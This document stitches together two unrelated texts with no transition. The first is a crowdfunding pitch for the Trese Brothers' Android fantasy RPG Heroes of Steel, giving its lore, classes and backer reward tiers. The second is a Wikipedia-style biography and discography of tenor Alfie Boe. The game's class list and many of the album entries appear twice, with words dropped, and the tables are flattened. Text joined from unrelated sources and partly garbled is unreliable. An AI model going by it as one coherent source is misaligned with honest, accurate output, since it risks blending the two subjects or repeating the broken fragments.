Heroes, starting with the tabletop greats such as Heroes Quest and then into the digital age with games like Castle of the Winds, Chrono Trigger, Final Fantasy Tactics, and Diablo I and II. Inheriting a dark and gritty fantasy world from the Treses’ pen-and-paper game worlds, Heroes will bring retro computer games and fantasy role playing together on mobile Android platforms in a unique and exciting way!  The Trese Brothers are a pair of brothers on a mission -- to build the best RPGs for mobile devices, to build games that we love to play, and hope that you love to play too. We can’t compete with the big game shops and their slick rendering and graphics, and frankly we don't want to. We take our productions in a different direction, where we produce and faithfully support deeply complex and challenging mobile games that go far, far beyond “casual.” We listen closely to our community of fans, gamers, and critics on how to improve the games and continuously push new updates and improvements into all of our games. We have literally shipped hundreds of updates to our three games over the last two years. And we have fans who have played our games for two years and still love them. Talk about getting your few bucks worth! Try them yourself --  Star Traders - command your ship and travel the immense galaxy in this epic space-opera RPG  Templar Assault - control your squad of elite soldiers in this tactical space-combat game set in the Star Traders Quadrant  Cyber Knights - fight, hack, and perform acts of espionage in this futuristic cyberpunk RPG  We want to bring this same love, challenge and excitement to the fantasy RPG genre, and Heroes of Steel is our first foray. We hope that you will help fund the Heroes project so that we can provide you with a gaming platform for truly epic adventure!  From the notes of Yazad Novian, Historian born under the 16th moon, Cassandra Waxing  All stories such as this start with the downfall. We remember our history, the history of people. Or at least fragments of it before the fall. The kingdoms of Trentan, and High Kallas, the plains of Relliar and the bloody civil war over the Sedolla Bastions. We strive to remember all that was lost. But the druids, the Dhrogas, they remember the Gods and how the world was born, and how it crumbled.  They tell us, in story and in song, that the All-Father birthed 13 sons and daughters of his own hands. In the shadow of the Children, He created humanity in his likeness. But, we forgot both Him and the Children, as we got caught up in our own ways, the chaotic way of great Kingdoms, and the clink of coppers and silvers. Of course some part of us remembered them. The old temples, our calendar, the names we give our children--they all pay heritage to the Thirteen and to the All-Father.  In our own ways, some say that before the fall, we were already blindly following in the path of the four Children who rose up. The four Dark-Born who plotted against the other Children, who dared to plot against the All-Father himself. Such was their combined power that together, they captured the All-Father in a mighty snare, and shattered him. The world and many of our dreams broke with him.  The kingdoms burned, and many turned to follow the Dark-Born with eyes wide open. Men and kings turned on their neighbor, turned to worship the daemons of the dark, and turned into beast under the touch of the Corruptor.  It was in this dark hour that the Dhrogas, the ancient druids, led some of us out of the Lands to escape destruction. They led by instinct, by prophecy--not by knowledge. They led us down into the earth, into the great chasms wrought by the shattering. They led us here, to these hollows, vales and tunnels, causeways and ancient structures discovered under the earth. No one knows who created them, or for what purpose, but we have made them our own. Not even the Dhrogas know.  We have scratched out a living under the earth, established a few strongholds, and fewer cities. The Dark Four have ravaged the world, and now their minions surround us, chipping at the fragile framework of our world. We are all that is left, the remnants of our world has formed into small isolated towns and villages. The six remaining Barons hold to their fiefs, to their castles and protect their lands, promising some degree of safety from the dark. But we lack the power to fight back, to turn the tide--we can only dig in and try to survive. We must look to our youth, to our brightest and strongest, and hope that heroes will emerge.  In Heroes of Steel, you command a party of four heroes with a diverse set of backgrounds, skills, and abilities as you strive to protect the shattered remains of civilization from dark powers. Your adventure will follow the heroes through a sprawling story that will start a few years after the shattering and covering the legendary struggle against the dark. A rich world full of sub-plots, quests, and diversions will be wrapped in and around the main story, allowing you to enjoy the world of Steel to the fullest depths.  The world of Steel, as you will know it, will feel like an endless series of dungeons, underground lairs, lost highways, and buried cisterns. The druids led the survivors into the under-deep, and they have been forced to settle there and scratch out a life beneath the surface. Much of the action of Heroes of Steel will occur below ground, but there will be brief glimpses of the surface, when nearing a town or traversing open ground, when the weak light from the sun slants down through the chasm to the stony floor.  As you progress through the game’s story, you will uncover many secrets of the world of Steel and its splintered pantheon of gods. The main plot and the web of subplots will deepen your understanding and appreciation for the rich world, and the forces of evil that threaten to overwhelm it. The courageous acts you will undertake in Heroes will become the core stories, myths and legends spread by humanity in future games within the trilogy of Steel. Taking inspiration from the pen and paper role-playing games developed by the Trese Brothers, you will find grim themes running through the storylines and a focus on human problems.  When creating your party you can choose from a variety of distinct characters to form a balanced group. Heroes of Steel will provide four unique classes from which to choose, each with their own abilities and special powers which you can further develop. Taking inspiration from other classic games, each class will have its own tree of special abilities allowing you to choose how each character evolves. This depth of customization will allow you to create characters of the same basic class who function very differently within your party. Will you build a purely offensive sorcerer wielding fiery wrath, or spread your talents to enable a team-player or a defensive caster? In Heroes, you have that flexibility.  As you traverse the sprawling world, your party will be faced with myriad challenges such as deadly traps, extensive mazes and fearsome enemies of all varieties. Heroes of Steel will features hundreds of monster types, organized into thematic and deadly monster families. To combat the powers of darkness your party will accumulate and use hundreds of unique pieces of weapons, armor, and accessories. As the story continues and your power levels increase, your strategy of combining the effects of your magical gear and character’s powers will have a distinct effect on how your character copes with the highest level and most dangerous threats later in the game.  As your party explores the dungeons, cities and crypts of the world, you will decide the strategy and approach your team takes. You could build a team of tightly integrated specialists who perform optimally within earshot of each other and confront dangers back to back. On the other hand, your characters could be developed to be self-sufficient adventurers who strike out alone, sneak through enemy lines, split into smaller groups or face challenges individually. If we reach our funding goal, Heroes of Steel will start with four characters to form your group, equip, train, and specialize:  The Outlander is a powerful melee combatant, focusing on high physical endurance and immense offensive power.  is a powerful melee combatant, focusing on high physical endurance and immense offensive power. The Wizard is a mystic trained to support the war against the Dark Four and all their agents. His training has prepared him for the widest variety of challenges.  is a mystic trained to support the war against the Dark Four and all their agents. His training has prepared him for the widest variety of challenges. The Cleric follows the venerable and holy path of the All-Father, employing powerful magics to heal and empower her companions, holy blessings against the dark powers and her training by the Temple Brethren to fight with light melee weapons and armors in battle.  follows the venerable and holy path of the All-Father, employing powerful magics to heal and empower her companions, holy blessings against the dark powers and her training by the Temple Brethren to fight with light melee weapons and armors in battle. The Thief is a master of stealth, deception, and cunning. Her myriad of talents include picking locks, detecting and disarming traps, and slipping past enemy defenses undetected.  An epic fantasy role-playing game featuring multiple classes, unique skill tree, piles of magical loot from which to pick and choose, and an arsenal of enemies and monsters to face, resulting in almost endless replayability? We hope you are salivating just like we are!  Trese Brothers is on a mission to make the best old-school RPGs for Android mobile devices. But we know we can’t build these games alone! We rely on you (our community) to help us develop the best games out there. How do we do that? Well, we listen on all the channels, we respond and we discuss. And often, you will see your suggestions or requests appearing in our games after a few more updates. We have built a small but excited community around this model and believe that Star Traders, Templar Assault, and Cyber Knights are some of the best (and still improving) games on the Android market because of your feedback!  Heroes of Steel will be built on the same model. A critical component of our strategy which allows us to truly listen to you is that we “release early and release often.” We will release Heroes of Steel to our alpha testers (see Rewards) as soon as it is playable and fun--way before it is finished. Heroes will make it to the Android markets (Google Play and Amazon) a short time later, with much of your alpha feedback incorporated within the game. Even then, we know Heroes will continue to evolve and improve. We will hammer it with updates from both our game design plan, and also from our active community suggestions until it is as rich, deep, complex and immersive as is possible on the Android platform. So, please help us fund Heroes of Steel and you’ll have the opportunity to join us on our forum, Facebook, and blog to lend a hand in building one of the best tactical RPGs on the Android markets (Google Play and Amazon). Our community-driven games give every contributor a chance to get involved!  KickStarter is a great way to grow our community of gamers who are excited about what Trese Brothers is doing. We are unique breed of game designer … we want to build games for you and with you. KickStarter funding allows you to get involved and help drive the game development, and in turn, your funding helps us invest the time and resources into making an amazing game. If we can fund the Heroes of Steel project, then it will open up the door so that we can create this game, and gather all the feedback from our alpha testers, and community so that we can be sure to make a game that you love.  Backer Rewards  If you join us on KickStarter as a backer, here is an in-depth explanation of the rewards that can await you! Please help us fund the Heroes of Steel project!  $1 - Our Thanks!  Backers at this level will be kept in the loop during every step of the production and receive a personal thank you on Twitter from the creators. This includes a first look at new artwork, plot teasers, and game mechanics.  $5 - Forum Badge "Heroes of Steel Supporter"  Backers at this level who are members of our Trese Brothers community forum will gain the unique “Heroes of Steel Supporter” badge which can only be obtained via KickStarter. Wear it proudly! Plus you will get a personal thank you on Twitter and be kept in the loop throughout every step of production.  $10 - Wallpaper Pack  You will receive a wallpaper pack for your computer or device which includes two large scale images featuring character and concept art for Heroes of Steel. Plus, you will receive all gifts from the lower backer levels!  $15 - Your Name in the Credits  Your name will appear in the credits for Heroes of Steel as a KickStarter supporter. Plus, you will receive all gifts from the lower backer levels!  $25 - Digital Art Book  Before Heroes of Steel is released to the Android markets (Google Play and Amazon), you will receive an exclusive digital art book of the game's art and concept art in PDF form. Plus, you will receive all gifts from the lower backer levels!  $40 - Mighty Starter Item  You will receive an unlock code that will allow your lead character in a new game to receive a unique item specifically crafted for his or her class. The Mighty Starter item will give you a distinct advantage in the early stages of your game, especially on harder difficulties. These items are only available through KickStarter! Plus, you will receive all gifts from the lower backer levels!  $75 - Venerated Gift Item  You will receive an unlock code which will allow any party that successfully completes the first Chapter to receive an additional rewards -- the Venerated Gift. The Venerated Gift item is unique to your lead character’s class and will give you a powerful advantage as you advance into the second and third Chapters. These items are only available through KickStarter! Plus, you will receive all gifts from the lower backer levels!  $100 - Alpha Access (limit 100)  More than a month before Heroes of Steel is released to the Android markets, you will gain access to the game for our alpha testing program. You will be able to download the game onto your devices, test out the game, the story, and mechanics, and most importantly you will have special access to the Trese Brothers developers and artists to give early feedback and help drive the game evolution. Plus, you will receive all gifts from the lower backer levels!  $150 - Steel Map Wall Poster  When the game is released, you will receive a high resolution wall poster of the map of the world of Steel printed at 10 x 18 inches. This exclusive map will include all the critical locations throughout the Heroes of Steel storyline. Plus, you will receive all gifts from the lower backer levels!  $200 - Exclusive Heroes of Steel T-Shirt  When the game is released, you will receive the exclusive Heroes of Steel t-shirt designed by our art team and only available on KickStarter. Wear it proudly! Plus, you will receive all gifts from the lower backer levels!  $350 - Epic Boon Item  You will receive an unlock code which will grant the Epic Boon Item to any party when they complete the seventh Chapter of Heroes of Steel. The Epic Boon item is unique and is so mighty that one of your characters will want to wear it throughout the end of the game. The Epic Boon item is only available through KickStarter! Plus, you will receive all gifts from the lower backer levels!  $500 - Join the World of Steel as an NPC (limit 10)  You will join the World of Steel as an NPC! Work with the writers and art team to design an NPC, including providing a portrait, your name (if you so choose) and character traits. Plus, you will receive all gifts from the lower backer levels!  $750 - Design Your Own Subplot (limit 10)  Before the release of Heroes of Steel, you will work directly with Cory and Andrew to design a subplot or subquest in the world of Steel, including the backstory, challenges, and ending. Plus, you will receive all gifts from the lower backer levels (excluding Joining the World as an NPC).  $1,000 - Immortalized as a God (limit 4)  You will join the ranks of 13 Children of the All-Father. Your portrait will be immortalized as one of the 13 Children who will be featured throughout Heroes of Steel and the entire Steel trilogy. Will you join the epic trilogy of Steel as a power of Light or Dark? Note that the names and traits of the Children are already set, but you can pick among them. One of our first updates will provide more details! Plus, you will receive all gifts from the lower backer levels (excluding Joining the World as an NPC and Design your own Subplot).  $2,000 - Design a Dark Race (limit 2)  Work directly with the Trese Brothers artist and a designer to create your own race of monsters within the world of Steel. You can work with the Trese Brothers team to determine their place in the world, special powers, and weaknesses. Once designed, you can help us create four different varieties of this monster (for example, Orc Ratkin Warrior,Giant Rat, Ratkin Shaman, Ratkin Assassin). And, your personal monster race will be featured in all future games within the trilogy of Steel! If we reach the Epic Monsters stretch goal, you will be invited to add an Epic Monster to your race of monsters (such as, Ratkin Stone-Serpent Rider)! Plus, your name will appear in the credits and you will receive the unlock code for the Epic Boon Item, an exclusive Heroes of Steel t-shirt, a wall poster map of the world of Steel, early access to the game for alpha testing, the unlock code for the Venerated Gift item, the unlock code for the Mighty Starter item, a digital art book of game art, a digital wallpaper pack, a Heroes of Steel Supporter badge for our forum, a personal thank you on Twitter and we will keep you in loop at every stage of production.  What are the other Trese Brothers' games I can try?  To understand the time, detail, and attention to community feedback that Trese Brothers give to their games, you should try them out! We think you will be impressed. If you are having any doubts about backing the Heroes of Steel project, just pick up one of our games and join our community forum to see if you enjoy our style and fanatical customer service.
-For other people named Alf Boe, see Alf Boe (disambiguation)  Alfred Giovanni Roncalli Boe (born 29 September 1973) is an English tenor and actor, notably performing in musical theatre.[1][2]  He is best known for his performances as Jean Valjean in the musical Les Misérables at the Queen's Theatre in London, the Les Misérables: 25th Anniversary Concert in October 2010, and in the Broadway revival. He played the lead role in Finding Neverland on Broadway beginning 29 March 2016.[3] As well, Boe shared a Tony Award with the other members of the ensemble cast of Baz Luhrmann's 2002 revival of La bohème in 2003.[1] He has sold over one million albums in the United Kingdom.[4]  Background [ edit ]  Boe, the youngest in a family of nine children,[5] was born in Blackpool, Lancashire, and brought up in nearby Fleetwood. He is of Irish and Norwegian descent. His mother and father named him after the Italian name of Pope John XXIII.[6][7] He attended St Wulstan's and St Edmund's School[8] and Cardinal Allen Catholic High School in Fleetwood.[citation needed] His earliest musical memories were of listening to his father's Richard Tauber records and at the age of 11 he discovered Puccini's La Bohème for the first time.[citation needed]  Boe's first public performance, aged 14, was at Fleetwood's Marine Hall in a "Songs from the Shows" presentation organised by inspirational local singing teacher Lottie Dawson. He states that although he sang only a couple of lines he was extremely nervous.  At the age of 17, Boe became an apprentice mechanic at the TVR factory in Bispham, Blackpool.[9] He enjoyed entertaining his colleagues by singing opera arias while he polished the cars, and one day was overheard by a client with connections in the music industry who was so impressed that he suggested Boe should go to London and audition for the D'Oyly Carte Opera Company. His audition was a success and he gave up polishing cars to embark on a singing career.[9] Boe has never been able to trace the customer who suggested he go for the audition, having lost the man's business card.[10]  Singing and acting career [ edit ]  Boe moved to London and studied singing at the Royal College of Music, the National Opera Studio and the Royal Opera House's Vilar Young Artists Programme. In 1999 and 2000, he was featured as the "opera dude" on albums by the Clint Boon Experience, led by the former organist of the Inspiral Carpets. In 1999 he sang Ernesto for Scottish Opera in their Opera-Go-Round production of Don Pasquale, touring widely throughout Scotland.[11]  Broadway and West End [ edit ]  Baz Luhrmann, who had spent two years looking for the lead for his Broadway production of La Bohème, approached Boe for the role.[9] Boe subsequently appeared (credited as Alfred Boe) on the 2002 Broadway Cast Recording released by Bazmark Live Pty Ltd. Boe and the other principal leads received a Tony Honors Award in 2003. He has also sung the role at Glyndebourne and the English National Opera.  In 2006, Boe was signed to the Classic FM Presents label as their first signing in a new venture for the radio station, and his album Classic FM Presents Alfie Boe[12] reached number three in the UK classical chart.[9] At the 2006 Canterbury Festival, on 27 October, Boe performed with soprano Hayley Westenra at a concert in Canterbury Cathedral.[13] In November 2006 he was signed to the EMI Classics label[9] and his first album on that label, Onward, was released in March 2007.  Boe toured the United Kingdom with the Fron Male Voice Choir in February 2007 and took part in the first Classic FM webcast concert with soprano Natasha Marsh in March. The same month, he was appointed as an ambassador of the Prince of Wales Arts & Kids Foundation, a British educational charity working to inspire and educate children by introducing them to the arts. Boe's role being to bring music, and opera in particular for those children involved.[5]  In April, Boe starred opposite Lesley Garrett and Willard White in the ITV Music of Morse concert at the Royal Albert Hall.[14] He was also nominated for a Classical BRIT for Best Album,[15] missing out to Paul McCartney at the ceremony on 3 May 2007.[14][16]  Boe also performed with Michael Ball in the English National Opera production of Kismet.[14] His live performance of the song "Stranger in Paradise" from Kismet on the Michael Parkinson show was released as a digital download single on 25 June 2007. In August, Boe realised an ambition to record an album of Neapolitan songs which was released in November under the title La Passione.[14] On 24 August 2007 he performed at the Arundel Festival alongside Natasha Marsh.[17][18] On 19 October 2007 he performed at Canterbury Cathedral during the Canterbury Festival.[19] Boe also performed at the annual Festival of Remembrance at the Royal Albert Hall on 10 November 2007.[20]  On 31 January 2008, Boe performed at the Pleasure Beach Arena, Blackpool, to over 1,600 local children, in a special Music Quest concert to help introduce the classics to a new generation and to celebrate the end of the Music Quest three-year project which was sponsored by the Prince of Wales Arts & Kids Foundation and Classic FM MusicMakers.[8]  Les Misérables [ edit ]  On 3 October 2010, Boe took on the role of Jean Valjean in a concert performance of the musical Les Misérables at the O2 Arena in London to celebrate the 25th anniversary of the show, released on DVD and Blu-ray Disc. The concert encore performance of "Bring Him Home", credited as the "Valjean Quartet" — Boe with Colm Wilkinson, John Owen-Jones and Simon Bowman (each of whom has portrayed Valjean in various theatrical productions) — was re-recorded at the Abbey Road Studios and released as a charity CD single and digital download on 13 December 2010. On 16 December 2010, Boe once again performed as Valjean in the Royal Variety Performance in front of Prince Charles and the Duchess of Cornwall singing "What Have I Done?", and "Bring Him Home" again alongside Wilkinson, Owen-Jones and Bowman.  Boe appeared as Valjean in Les Misérables at the Queen's Theatre, London, from 23 June to 26 November 2011.[21] His friend Matt Lucas also joined the cast as Thenardier. During his run as Valjean, Boe appeared in the "Les Misérables v Lend Me a Tenor Battle of the Tenors" at Soho's Winnett Street, London on 13 July 2011. In August, Boe performed with the National Symphony Orchestra at Beau Sejour and Gloucester Hall.  In 2015, he reprised the role of Valjean in the Broadway revival of Les Misérables at the Imperial Theatre in New York. He succeeded Ramin Karimloo - who played Enjolras in the 25th Anniversary concert - on 1 September 2015.[22]  Alfie starred as the romantic lead Billy Bigelow in Rodgers and Hammerstein's Carousel in a limited run at the English National Opera directed by Lonny Price, opposite vocalist Katherine Jenkins.  Other performances [ edit ]  In January 2011, Boe performed for English National Opera in La Bohème and The Mikado. In March 2011, Boe performed three concerts in Idaho: two in Rexburg, and one in Sun Valley. In April, Boe appeared in The Great British Musical – The Famous and the Future at the Criterion Theatre and the St George's Day celebration concert in Trafalgar Square. In May, Boe went on to perform at the Classical BRIT Awards ceremony at the Royal Albert Hall, in the Isle of Man, and then headlined the Hampton Court Palace Festival finale on 18 June 2011.  Boe appeared in the BBC Last Night of the Proms concert at the Caird Hall on 10 September 2011 and the Llanelli Choral Society's Grand Performance Concert at Tabernacle Chapel, Llanelli on 24 September 2011. Boe commenced the "Alfie Boe 'Bring Him Home' UK Concert Tour" in Bristol on 6 December 2011, finishing in Gateshead Sage on 4 February 2012.  In October 2011, Boe announced that he would be appearing in the Lytham Proms Festival Weekend on 4 August 2012. Tickets went on sale on 14 October 2011. The festival is held in the town of Lytham St Annes close to his home town of Fleetwood. The local newspaper Blackpool Gazette described his concert as a 'homecoming' using the title 'Bring HIM Home'.  On 6 May 2012, Boe performed at the Kauffman Center in Kansas City, Missouri. On 4 June 2012, Boe performed at the Diamond Jubilee Concert for the Diamond Jubilee of Elizabeth II. He sang "’O sole mio" leading into Elvis Presley's "It's Now or Never". He also sang, with American soprano Renee Fleming, "Somewhere" from West Side Story, this performance taking place on the balcony of Buckingham Palace. He appeared on The One Show on 30 August 2012. On 2 October 2012, Boe embarked on a major U.S./Canada concert tour starting in Dallas, Texas, ending in Toronto on 29 October.  In December 2012, Boe was featured as a guest artist for the holiday concert series of the Mormon Tabernacle Choir, Orchestra at Temple Square and Bells on Temple Square. The concerts also featured legendary broadcaster Tom Brokaw who narrated the story of Gail Halvorsen (who also made an appearance) and the candy bombers of the Second World War. Boe performed several Christmas favourites as well as 'Bring Him Home'. The live performances were recorded and released as Home for the Holidays feat. Alfie Boe.  Boe returned to the US in late January 2013 for a short (8 cities) tour, starting in Albany, New York 27 January and ending in Pittsburgh 9 February. In February 2013, Boe, colloquially known as the Lancashire Michael Bublé,[23] was awarded two platinum albums by the BPI for Alfie (2011) and Bring Him Home (2010). Back in the UK, Boe did a three-week, 14-city tour, which started in Birmingham and ended in Belfast, Northern Ireland. On 15 April 2013, Boe was awarded a Fellowship of the Royal College of Music from his Alma Mater.[24] On 26 May 2013, Boe sang "Bring Him Home" at the U.S. National Memorial Day Concert on the West Lawn of the Capitol in Washington, D.C.  On 9 May 2015 he performed at VE Day 70: A Party to Remember in Horse Guards Parade, London.  On 4 and 5 June 2015, Boe performed two concerts at Symphony Hall with the Phoenix Symphony, filling in for Colm Wilkinson, who was forced to drop out due to illness.[25]  Television [ edit ]  Boe appeared as music-hall singer Richard Chapman in an episode of Mr Selfridge. In 2016 & 2017, Ball and Boe appeared in two ITV Specials, the first being Ball & Boe: One Night Only and the second being Ball & Boe Back Together. In December 2017, Boe replaced Aled Jones as presenter of Christmas Carols on ITV. On 3 March, Boe performed in 'The End of the Show Show' on Ant & Dec's Saturday Night Takeaway alongside Michael Ball.  Personal life [ edit ]  Boe met his wife Sarah while rehearsing La Bohème in San Francisco. They have two children, daughter Grace and son Alfred Robert.[26] He is a member of the Grand Order of Water Rats.[27]  Solo recordings [ edit ]  Classic FM Presents Alfie Boe (Classic FM, 2006/Reissued with alternate cover photo, Universal Music, 2008/Reissued with alternative title The Sound Of Alfie Boe as HMV exclusive on Decca, UK, February 2011)  (Classic FM, 2006/Reissued with alternate cover photo, Universal Music, 2008/Reissued with alternative title as HMV exclusive on Decca, UK, February 2011) Onward (physical CD contains 12 tracks – some digital download versions feature an additional track "Where'er You Walk (from Semele )" – EMI Classics, 2007)  (physical CD contains 12 tracks – some digital download versions feature an additional track "Where'er You Walk (from )" – EMI Classics, 2007) A Living Prayer (Radio Edit)/Abide With Me (EMI Classics, 2007 – digital download single)  (EMI Classics, 2007 – digital download single) Stranger In Paradise (Live On Parkinson)/ You'll Never Walk Alone (EMI Classics, 2007 – digital download single)  (Live On Parkinson)/ (EMI Classics, 2007 – digital download single) Live At Abbey Road – The Napster Sessions (Napster exclusive 4-track digital download includes 3 live songs from "La Passione" and a cover of The Beatles' "Eleanor Rigby" – EMI Classics, 2007)  (Napster exclusive 4-track digital download includes 3 live songs from "La Passione" and a cover of The Beatles' "Eleanor Rigby" – EMI Classics, 2007) La Passione (physical CD contains 15 tracks – some digital download versions feature an additional track "Lolita". Another track "La Paloma" recorded but not issued. EMI Classics, 2007)  (physical CD contains 15 tracks – some digital download versions feature an additional track "Lolita". Another track "La Paloma" recorded but not issued. EMI Classics, 2007) Franz Lehár: Love Was A Dream (Linn Records, 2009/Reissued as "Love Was A Dream" with new artwork on Decca, July 2011)  (Linn Records, 2009/Reissued as "Love Was A Dream" with new artwork on Decca, July 2011) Bring Him Home (studio version, credited as the Valjean Quartet – Alfie Boe, Simon Bowman, John Owen-Jones and Colm Wilkinson – Cameron Mackintosh Limited, 2010 – CD/digital download charity single)  (studio version, credited as the Valjean Quartet – Alfie Boe, Simon Bowman, John Owen-Jones and Colm Wilkinson – Cameron Mackintosh Limited, 2010 – CD/digital download charity single) Bring Him Home (includes duets with Kerry Ellis & Matt Lucas, Shakira and Melanie C – Decca Records, December 2010)  (includes duets with Kerry Ellis & Matt Lucas, Shakira and Melanie C – Decca Records, December 2010) You'll Never Walk Alone – The Collection 16-song compilation CD features 6 songs not included on Boe's solo CD albums – 2 songs from Eternal Light , plus "Where'er You Walk", "Brindisi", "Abide With Me" and "Fratello Sole, Sorella Luna". (EMI Classics, 21 March 2011)  16-song compilation CD features 6 songs not included on Boe's solo CD albums – 2 songs from , plus "Where'er You Walk", "Brindisi", "Abide With Me" and "Fratello Sole, Sorella Luna". (EMI Classics, 21 March 2011) Alfie UK version – 15 tracks, includes tracks featuring Michael Ball & Robert Plant (Decca Records, 31 October 2011)  UK version – 15 tracks, includes tracks featuring Michael Ball & Robert Plant (Decca Records, 31 October 2011) Alfie US version – 15 tracks, includes tracks featuring Nick Jonas & Robert Plant. The US version substitutes the "Empty Chairs" duet from Michael Ball to Nick Jonas, and deletes "Have Yourself A Merry Little Christmas" replaced with the studio version of "Bring Him Home". (Decca Records, 5 June 2012)  US version – 15 tracks, includes tracks featuring Nick Jonas & Robert Plant. The US version substitutes the "Empty Chairs" duet from Michael Ball to Nick Jonas, and deletes "Have Yourself A Merry Little Christmas" replaced with the studio version of "Bring Him Home". (Decca Records, 5 June 2012) Storyteller UK version – 13 tracks (Decca Records, 12 November 2012)  UK version – 13 tracks (Decca Records, 12 November 2012) Storyteller UK digital download version - 16 tracks [adds "Always A Woman To Me", "I Can't Help Falling In Love With You (Secret Rehearsal Take)", and "Bring Him Home (Live Version)" plus 4 "Song Commentary" video clips (Decca Records, 9 November 2012 – Amazon.co.uk and iTunes UK]  UK digital download version - 16 tracks [adds "Always A Woman To Me", "I Can't Help Falling In Love With You (Secret Rehearsal Take)", and "Bring Him Home (Live Version)" plus 4 "Song Commentary" video clips (Decca Records, 9 November 2012 – Amazon.co.uk and iTunes UK] Storyteller UK Sainsbury's Entertainment version – 15 tracks (adds "Wayfaring Stranger – Bonus Track – Live From Dallas", and "Rank Strangers To Me – Bonus Track – Live From Dallas" (Decca Records, 12 November)  UK Sainsbury's Entertainment version – 15 tracks (adds "Wayfaring Stranger – Bonus Track – Live From Dallas", and "Rank Strangers To Me – Bonus Track – Live From Dallas" (Decca Records, 12 November) Storyteller US version – 14 tracks includes exclusive bonus track "Angel" (Decca Records, 6 August 2013)  US version – 14 tracks includes exclusive bonus track "Angel" (Decca Records, 6 August 2013) Trust UK version – 12 tracks (Decca Records, 11 November 2013)  UK version – 12 tracks (Decca Records, 11 November 2013) Trust US version – 13 tracks - adds a bonus version of "Danny Boy" (Mr. Selfridge version) (Manhattan Records, 29 April 2014)  Also appears on [ edit ]  "Johann Strauss: Die Fledermaus - Sung in English - D'Oyly Carte Opera Company, John Owen Edwards - conductor" (The first released studio recording of Alfred Boe - 2-CD, Sony Classics S2K 64573, 1995)  The Compact Guide to Pop Music and Space Travel (The Clint Boon Experience! aka CBX! - guest appearance on two tracks: "Comet Theme Number One" & "Only One Way I Can Go" - credited as Alf Boe: Opera Vocal - Artful Records, 1999)  (The Clint Boon Experience! aka CBX! - guest appearance on two tracks: "Comet Theme Number One" & "Only One Way I Can Go" - credited as Alf Boe: Opera Vocal - Artful Records, 1999) "Gilbert & Sullivan: HMS Pinafore - The 1999 D'Oyly Carte Cast Complete Dialogue & Songs Recording" (Performing the role of Ralph Rackstraw, credited as Alfred Boe - 2-CD, TER, 2000 - Reissued 2008)  Life in Transition (The Clint Boon Experience! aka CBX! - guest appearance on four tracks: "This is the Sound", "Life in Transition", "17 & Over!" & "In Chaos I See" - credited as Alf Boe: Opera Vocal - Artful Records, 2000)  (The Clint Boon Experience! aka CBX! - guest appearance on four tracks: "This is the Sound", "Life in Transition", "17 & Over!" & "In Chaos I See" - credited as Alf Boe: Opera Vocal - Artful Records, 2000) "The Most Happy Fella - First Complete Recording - Studio Cast" (3-CD Box Set - appears on 6 tracks, performing the role of Giuseppe, credited as Alfred Boe. Recorded 1997-1999 - JAY, 2000 - Reissued on TER, 2010)  "Verdi: Aida - The 2002 Opera In English Recording" (2-CD Box Set - appears on 2 tracks in the role of "A Messenger" - credited as Alfred Boe - Chandos "Opera In English", 2002)  "La Bohème - The 2002 Broadway Cast Recording" (credited as Alfred Boe - Bazmark Live Pty Ltd., 2002)  "Barry Banks Sings Bel Canto Arias" (Alfred Boe as Pilades duets on "Palace of Horrors! - Ah, How Can I Hide the Flames" from Rossini's "Ermione", Recorded September 2001 - Chandos "Opera in English", 2004)  "Sleigh Ride" (Alfred Boe appears on 2 tracks: "'Twas the Night Before Christmas" & "O Holy Night" - The Boston Pops Orchestra - Conducted By Keith Lockhart, Artemis Classics, 2004)  "Myleene’s Music For Romance" (Myleene Klass - 2-CD Compilation features previously unreleased Alfie Boe track "Fratello Sole, Sorella Luna" written by Donovan from the Zeffirelli film "Brother Sun, Sister Moon" - EMI Classics, 2007)  "Elizabeth Marvelly" (Self-titled debut CD features Alfie Boe duet on "Stranger in Paradise" - EMI, 2007)  Howard Goodall, Eternal Light: A Requiem (tenor soloist on 4 tracks, with Natasha Marsh; Christopher Maltman; Choir of Christ Church Cathedral, Oxford; London Musici; and Stephen Darlington; EMI Classics, 2008)  (tenor soloist on 4 tracks, with Natasha Marsh; Christopher Maltman; Choir of Christ Church Cathedral, Oxford; London Musici; and Stephen Darlington; EMI Classics, 2008) "Natasha Marsh" (Self-titled CD featuring Alfie Boe duet on "Brindisi" (La Traviata) - EMI Classics, 2008)  "Pride of the Nation" (The Band of the Coldstream Guards, CD featuring Alfie Boe on "Jerusalem" (Parry, arr. Eyton) - Decca CD/DVD + Digital Download, 28 March 2011)  "Downton Abbey" (Original Music from the Television Series - Alfie sings 2 tracks "If You Were the Only Girl (In the World)" and "Roses of Picardy") - Decca CD + Digital Download, 19 September 2011)  "First Night" (Original Motion Picture Soundtrack - Alfie sings 1 solo "Un'aura amorosa", 1 duet "Volgi a me (Fra gli amplessi)" and appears on 1 ensemble track "Fortunato - Act II Finale", all from Mozart's "Così fan tutte" - Sony Classical CD + Digital Download, 17 October 2011)  "Summon The Heroes" (The Band of H.M. Royal Marines - Alfie sings 1 solo "Over the Hills and Far Away" - Decca CD + Digital Download, 14 November 2011)  "One Vision" (Alfie Boe & Kimberley Walsh featuring Youth Music Voices Choir - Decca (UMO) UK Digital Download Only, 11 May 2012)  "Sing - E.P." (Gary Barlow & the Commonwealth Band Feat. Alfie Boe & Military Wives - Alfie sings on "Land of Hope and Glory" - Decca CD + Digital Download, 28 May 2012)  Home for the Holidays feat. Alfie Boe (Mormon Tabernacle Choir CD + Digital Download + DVD, 15 October 2013)[28]  Discography [ edit ]  Studio albums [ edit ]  Compilation albums [ edit ]  List of albums Title Details You'll Never Walk Alone  - The Collection Released: 21 March 2011  Label: EMI Classics  Formats: CD, digital download Solo & Apart: A Collection  of Songs from Their Past  (with Michael Ball Released: 3 November 2017  Label: Decca, Universal  Formats: CD  Video albums [ edit ]  List of albums, with selected chart positions Title Details Certifications Alfie Boe Live - The Bring Him  Home Tour Released: 12 March 2012  Label: Universal Pictures  Formats: DVD, Blu-ray, digital download BPI: Gold  Album appearances [ edit ]  Singles [ edit ]  Awards and nominations [ edit ]  Year Award Category Result 2003 Tony Awards Tony Honour for Excellence in Theatre (La bohème ensemble) Won 2008 Classic Brit Awards Male Artist of the Year Nominated Album of the Year (Onward) Nominated 2011 Silver Clef Awards PPL Classical Award Won
